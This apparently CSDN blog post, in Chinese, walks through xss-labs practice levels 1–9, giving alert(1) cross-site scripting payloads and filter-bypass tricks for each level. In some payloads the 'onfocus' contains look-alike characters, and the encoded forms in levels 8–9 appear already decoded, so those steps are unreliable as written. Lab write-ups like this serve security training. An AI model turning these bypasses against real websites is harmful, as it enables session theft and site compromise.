xss—labs
xss—labs
题目链接BUUCTF在线评测
题目源码xss-lab/level1.php at master · Re13orn/xss-lab · GitHub
level 1(GET型)
GET型,在?后传参
<script>alert(1)</script>
level 2(闭合)
输入测试payload
1'2"3<script>
可以看出value属性是 双引号 闭合的 ,且没有对script标签进行过滤,构造payload
"><script>alert(1)</script><"
注意:script标签不可嵌套在HTML标签内
level 3(htmlspecialchars绕过)
输入测试payload
1'2"3<script>
可以看到输入的双引号和尖括号被实体化,单引号没有被转义,进行htmlspecialchars绕过
那就利用<input>
标签中onfocus属性进行构造
' οnfοcus=javascript:alert(1); '
level 4(左右尖括号过滤)
输入测试payload
1'2"3<script>
发现左右尖括号被过滤掉了
payload和上题一样
' οnfοcus=javascript:alert(1); '
level 5(a标签法)
输入测试payload
1'2"3<script>
发现<script>
被替换成<sc_ript>
查看源码,发现使用了strtolower()
函数
strtolower()
:将传入的字符串(即$_GET["keyword"]
)中的所有大写字母转换为小写字母
因此大小写绕过不行
而且on属性也被转换了
那就用<a>
标签法
"><a href=javascript:alert(1);>XXX</a><"
level 6(大小写绕过)
输入测试payload
1'2"3<script>4on
发现<script>
又被替换
输入过滤测试payload
onfocus <script> <a href=javascript:alert()>
好家伙都被替换了
那就试试大小写绕过
"><ScRipt>alert(1)</SCript><"
" Onfocus=javaScRipt:alert(1) "
成功
level 7(双写绕过)
输入测试payload
1'2"3<script>4on
script和on直接被过滤掉了
尝试双写绕过
"><scscriptript>alert(1)</scrscriptipt><"
" oonnfocus=javascscriptript:alert(1) "
level 8(利用href自动Unicode解码特性)
先说一下什么是自动Unicode解码(我也是刚学的)
自动 Unicode 解码 通常指的是某些环境或框架在处理输入时自动将这些编码转换回其对应的字符。
href标签会自动把你输入的Unicode转换成字符,因此我们可以利用这个特性进行绕过
直接上源码吧
我们写入的内容最后被输出在a标签的href属性,但中间进行的层层过滤,绕过有些困难
就用href自动Unicode解码特性进行绕过
javascript:alert()
Unicode编码后
javascript:alert()
成功绕过
level 9(注释绕过后端判断)
输入测试payload
`1'2"3<script>
href属性不是我们写入的内容,而是返回了一个错误信息,这是怎么回事呢?
看看源码
后端对输入的内容进行了检测,如果没有搜索到**‘http://'就会返回false**,不会把我们输入的内容写到href属性中
因此,我们要在构造的payload的中加入‘http://’ , 将他用注释符注释,不影响payload的执行
payload:
JavaScript:alert(1) /* http:// */
Unicode编码
JavaScript:alert(1) /* http:// */
成功绕过
标签:xss,level,题解,alert,labs,&#,Unicode,绕过,payload From: https://blog.csdn.net/2401_86414033/article/details/143494891